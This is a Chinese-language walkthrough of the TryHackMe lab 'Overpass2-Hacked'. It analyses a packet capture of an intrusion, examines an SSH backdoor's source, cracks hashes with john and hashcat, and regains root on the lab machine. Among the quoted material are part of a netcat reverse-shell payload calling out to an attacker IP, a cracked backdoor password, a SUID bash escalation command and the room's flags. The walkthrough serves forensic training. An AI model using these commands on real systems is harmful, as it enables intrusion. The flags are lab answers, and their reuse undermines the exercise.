【THM】Overpass2-Hacked-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/overpass2hacked

通过学习相关知识点:根据相关的PCAP文件来分析攻击者的行为并重新从黑客手中取得目标服务器的权限。

image

取证-分析 PCAP

Overpass服务器被黑了!公司的SOC 团队注意到一个深夜的可疑攻击活动,并设法捕获到了黑客攻击发生时相关的数据包文件。

你能弄清楚攻击者是如何黑进 Overpass 生产服务器的吗?

PCAP文件的md5sum为:11c3b2e9221865580295bc662c35c6dc

答题

下载本实验房间所提供的网络数据包文件(.pcap)并使用Wireshark打开该pcap文件。

sudo wireshark overpass2.pcapng

image

使用 Wireshark,右键单击第一个 TCP 数据包,向下移动到追踪(follow)选项,然后选择 TCP Stream。 这使我们能够遵循 TCP 协议流并以应用层所见的方式查看协议。

image

查看流中的第一个 TCP 数据包,可以看到攻击者用来上传反向 shell 的页面相关URL。

image

/development/

image

查看流中的下一个TCP数据包,可以看到攻击者使用upload.php页面上传了一个名为 payload.php 的文件,该文件的内容即是有效负载(payload),具体作用是生成一个反向shell。

image

&1|nc 192.168.170.145 4242 >/tmp/f")?>

image

继续查看流中的TCP 数据包,在攻击者激活刚才所上传的payload之后,我们发现了一个关键的数据包(在流中的编号为3),它的内容显示了攻击者在目标机器上获得反向 shell 后所做的事情:攻击者首先使用 id 命令检查他们当前是什么用户,结果表明他们获得的身份是用户 www-data;接下来他们使用了 python 导入 pty 模块并生成一个新的、更稳定的 shell;然后他们列出了上传目录中的内容,并查看了名为 .overpass 的隐藏文件的内容;然后攻击者使用 su 命令切换到用户 james 并输入相关密码,从而成功提升了他们在目标机器上的权限(从www-data到james)。

image

whenevernoteartinstant

image

继续查看刚才的数据包(在流中的编号为3),攻击者在提升权限之后,又切换到 jame 的主目录并使用 sudo -l 命令查看他们可以在 root 权限下运行哪些命令,根据捕获的数据包中的输出结果,得知目标机可能允许用户 james 使用 sudo 以 root 身份运行所有命令,然后攻击者继续查看了存储在 /etc/shadow 文件中的哈希值。

image

image

继续查看刚才的数据包(在流中的编号为3),可以看到攻击者将某个后门工具的 Github 存储库克隆到了目标机器上,这使他们能够借助该工具在目标机上创建 SSH 后门。

image

https://github.com/NinjaJc01/ssh-backdoor

image

如前述的shadow 文件内容所示,目标机器上已经创建了 5 个用户,我们可以使用 John the Ripper 等密码破解工具和指定的密码字典fasttrack.txt对用户的hash密码进行破解,以此来确定具体有多少密码是可破解的。我们首先将网络捕获数据包中显示的shadow文件内容的最后五行复制到一个名为 passwords.txt 的新文件中,然后使用 John the Ripper 工具来破解哈希。

sudo john --wordlist=/usr/share/wordlists/fasttrack.txt passwords.txt

image

我们可以从最终输出中看到有 4 个密码哈希被破解。

image

研究-分析代码

本小节涉及分析后门相关代码,在对 PCAP 文件初步取证分析后,我们可以使用之前找到的 Github后门工具链接 来检索攻击者用于生成后门的相关代码并进行分析。

答题

查看从 Github 下载的后门工具存储库的内容(访问 https://github.com/NinjaJc01/ssh-backdoor ),我们可以看到一个名为 main.go 的文件,我们使用 Sublime 打开这个文件,在查看前几行代码时,可以看到后门的默认哈希字符串。

image

image

该工具生成的后门的默认hash值:bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

image

向下浏览 main.go 文件中的代码,我们发现了一个名为 verifyPass 的函数,它接受三个参数,其中一个参数为 salt。

image

再往下,能够发现一个名为 passwordHandler 的函数,它将使用硬编码的字符串值作为 salt 参数。

image

该工具所生成的后门的盐值:1c362db832f3f864c8c2fe05f2002a05

image

回到前面我们分析的 PCAP 文件,在数据包捕获文件中我们可以看到攻击者在克隆 Github 存储库并生成 RSA 密钥对之后,使用命令让后门文件变更为可执行状态,并使用 -a 参数以设定对应的哈希来执行这个二进制后门文件。

image

image

攻击者所使用的后门hash值:6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

image

在得到攻击者所使用hash后,我们可以通过工具hashcat和密码字典rockyou.txt来破解此hash值。通过使用 hash-identifier 工具,可以确认攻击者所使用的哈希值是用SHA-512算法得到的;通过之前所检查的后门代码,我们可以知道该SHA-512散列是使用password和salt创建的(即password:salt)。

image

访问 hashcat wiki 在线查找与哈希创建方式sha512相匹配的哈希模式,可以看到sha512算法(password:salt)所对应的哈希模式为1710。

image

要破解哈希,我们需要提供在数据包捕获文件中找到的 攻击者所使用的 SHA-512 哈希值和在后门代码 main.go 文件中找到的硬编码盐值(最终需提供的内容为hash:salt形式),我们将 hash:salt 内容添加到一个txt文件中,然后使用 hashcat 命令针对该txt文件来破解哈希。

hashcat -m 1710 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

image

破解得到的密码为:november16

image

攻击-恢复对目标服务器的控制

相关事件已经调查完毕,但是Overpass生产服务器不能因攻击者格式化服务器而丢失,所以公司的SOC团队需要采取行动并再次控制 Overpass 生产服务器!

答题

使用nmap扫描目标机器

nmap -sV -sC -Pn -v 10.10.74.30

image

在本地浏览器中访问目标站点,查看页面源代码可以看到攻击者在标题处所留下的一些信息。

image

image

攻击者留下的信息:H4ck3d by CooctusClan

image

从上面的nmap扫描结果可以看到目标机的22、2222端口都有SSH服务在运行,根据目前收集到的信息,尝试使用之前在分析 PCAP 文件时所看到的帐户原始密码以用户 james 的身份进行ssh登录,结果登录端口 22 和 2222 的ssh连接都失败了,尝试使用上一小节通过破解 SHA-512 哈希所得到的密码,结果登录端口 22 的ssh连接失败但是登录端口 2222 的ssh连接成功(根据后门工具对应github项目中的main.go文件内容也可知后门端口为2222)。

ssh -p 2222 james@10.10.74.30 -oHostKeyAlgorithms=+ssh-rsa
#november16

image

成功登录后,我们可以导航到 /home/james目录下并检索user flag内容。

image

user flag内容为:thm{d119b4fa8c497ddb0525f7ad200e6567} 。

image

继续查看 James 主目录(/home/james),看看是否有其他有趣的文件,我们注意到在目录中有一个由root账户所拥有的隐藏二进制文件--文件名为.suid_bash。

image

我们可以执行这个具有SUID位的二进制文件(该文件名为.suid_bash,其实是bash文件的副本),它会为我创建一个具有 root 权限的新 shell,成功获取到目标的root权限之后,我们可以切换到root目录并检索root flag内容。

./.suid_bash -p

image

root flag内容为: thm{d53b2684f169360bb9606c333873144d} 。

image

posted @ 2023-02-12 20:48  Hekeatsll  阅读(406)  评论(3编辑  收藏  举报